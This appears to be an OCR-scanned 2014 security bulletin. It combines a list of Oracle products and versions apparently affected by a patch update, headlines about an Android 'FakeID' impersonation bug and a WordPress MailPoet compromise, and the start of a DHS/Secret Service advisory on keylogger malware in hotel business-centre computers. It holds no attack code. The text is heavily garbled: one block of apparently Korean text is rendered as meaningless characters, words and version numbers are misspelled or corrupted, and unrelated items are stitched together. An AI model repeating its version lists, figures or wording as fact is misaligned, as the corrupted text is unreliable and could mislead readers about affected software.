» Oracle iPlanet Web Proxy Server, version 4.0.24 Fusion Middleware

- Oracle iPlanet Web Server, versions 6.1, 7.0 Fusion Middleware
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- Oracle WebCenter Portal, versions 11.1.1.7.0, 11.1.1.8.0 Fusion Middleware

- Oracle WebLogic Server, versions 10.0.2.0, 10.3.6.0, 12.1.1.0, 12.1.2.0 Fusion Middleware

- Oracle JDeveloper, versions 11.1.1.7.0, 11.1.2.4.0, 12.1.2.0.0 Fusion Middleware

- Oracle Bl Publisher, version 11.1.1.7 Fusion Middleware

- Oracle Glassfish Communications Server, version 2.0 Fusion Middleware

- Oracle HTTP Server, versions 11.1.1.7.0, 12.1.2.0 Fusion Middleware

- Oracle Hyperion Essbase, versions 11.1.2.2, 11.1.2.3 Fusion Middleware

- Oracle Hyperion Bl+, versions 11.1.2.2, 11.1.2.3 Fusion Middleware

» Oracle Hyperion Enterprise Performance Management Architect, versions 11,1.2.2, 11,1.2.3 Fusion Middleware
* Oracle Hyperion Common Admin, versions 11.1.2.2, 11.1.2.3 Fusion Middleware

- Oracle Hyperion Analytic Provider Services, versions 11.1.2.2, 11.1.2.3 Fusion Middleware

- Oracle E-Business Suite Release 11i, version 11.5.10.2 E-Business Suite

- Oracle E-Business Suite Release 12i, versions 12.0.6, 12.1.3, 12.2.2, 12.2.3 E-Business Suite

« Oracle Transportation Management, versions 6.1, 6.2, 6.3, 6.3.1, 6.3.2, 6.3.3, 6.3.4 Oracle Supply Chain
- Oracle Agile Product Collaboration, version 9.3.3 Oracle Supply Chain

- Oracle PeopleSoft Enterprise ELS Enterprise Learning Management, versions 9.1, 9.2 PeopleSoft

- Oracle PeopleSoft Enterprise PT PeopleTools, versions 8.52, 8.53 PeopleSoft

- Oracle PeopleSoft Enterprise FIN Install, versions 9.1, 9.2 PeopleSoft

» Oracle PeopleSoft Enterprise SCM Purchasing, versions 9.1, 9.2 PeopleSoft

- Oracle Siebel Travel & Transportation, versions 8.1.1, 8.2.2 Siebel

- Oracle Siebel Ul Framework, versions 8.1.1, 8.2.2 Siebel

- Oracle Siebel Core = Server OM Frwks, versions 8.1.1, 8.2.2 Siebel

» Oracle Siebel Core = EAI versions 8.1.1, 8.2.2 Siebel

* Oracle Communications Messaging Server, version 7.0.5.30.0 Oracle Communications Applications
- Oracle Retail Back Office, versions 8.0, 12.0, 12.0.9IN, 13.0, 13.1, 13.2, 13.3, 13.4, 14.0 Retail

- Oracle Retail Central Office, versions 8.0, 12.0, 12.0.9IN, 13.0, 13.1, 13.2, 13.3, 13.4, 14.0 Retail

* Oracle Retail Returns Management, versions 2.0, 13.1, 13.2, 13.3, 13.4, 14.0 Retail

» Oracle Java SE, versions 5.0u65, 6u75, 7u60, 8u5 Oracle Java SE

- Oracle JRockit, versions R27.8.2, R28.3.2 Oracle Java SE

- Oracle Solaris, versions 8, 9, 10, 11.1 Oracle and Sun Systems Products Suite

- Oracle Secure Global Desktop, versions 4.63, 4.71, 5.0, 5.1 Oracle Linux and Virtualization

- Oracle VM VirtualBox, versions prior to 3.2.24, 4.0.26, 4.1.34, 4.2 26, 4.3.14 Oracle Linux and Virtualization
- Oracle Virtual Desktop Infrastructure (VDI), versions prior to 3.5.1 Oracle Linux and Virtualization

* Sun Ray Software, versions prior to 5.4.3 Oracle Linux and Virtualization

- Oracle MySQL Server, versions 5.5, 5.6 Oracle MySQL Product Suite
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CRITICAL ANDROID FAKEID BUG ALLOWS ATTACKERS TO IMPERSONATE TRUSTED APPS
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=X Threat Post (http://threatpost.com/critical-android-fakeid-bug-allows-attackers-to-impersonate-trusted-apps/107462)
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The danger of using PCs in hotel business centres

O] AR EAREE (NCCIQ) 3! ZEQHHE H|ZA= (USSS) Ol S&! A0 HIS7H A2 S WS HE[Xt ZITo] S QHoy|
FIx[St H|ELIA ME{Q] B PCE ZHIO| HEA7 |1 US &= UCH= LHEOIC

TLPF: GREEN
FART
e 2\ National Cybersecurity and Communications Integration Center
%‘m 3 .5, Secret Service

10 July, 2014
Keylogger Malware Found in Hotel Business Centers

MSCLAIMER: This advisary is provided “ax is” for informaniona purposes only. The Department of Homeland Securiy (DHS) does
o previde amy warranties of ooy kind regarding amy information contained within. The DS does not endorse any commercial prodwct
or service, Foferenced i this advisory or stherwise. Further dissemination of this advisory is governed by the Traffic Light Profocol
(TLP} marking in the keader.  For move information about TLFP, see hip:dhowa wiscert goviipd.

This advisory was prepared in collaboration with the National Cybersecurity and Communications
Integration Center (NCCIC) and the United States Secrel Service (USSS).

Executive Summary

As data breaches continue 1o result in devastating consequences for individual victims and often high
reputational and financial risk for the entities that were bcrca.Ehl:d it"s important to understand the balance
of risk and convenience that your organization has chosen.' Analysis from companies like Symantee,
Trustwave and Verizon all reveal that data breaches have increased at an alarming rate since at least
201144 Unfortunately many of the reports state that malicious actors have targeted the Hospitality
subsector over most others in that time frame.

The following is an advisory for owners, managers and stakeholders in the hospitality industry, which
highlights recent data breaches uncovered by the United States Secret Service (USS5). The attacks were
not sophisticated, requiring little technical skill, and did not invelve the exploit of vulnerabilities in
browsers, operating systems or other software. The malicious actors were able to utilize a low-cost, high
impact strategy to access a physical system, stealing sensitive data from hotels and subsequently their
guest's information. The NCCIC and the USSS have provided some recommendations at the end of this
document that may help prevent similar attacks on publicly available computérs.
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Thousands of WordPress Sites Compromised through MailPoet Vulnerability
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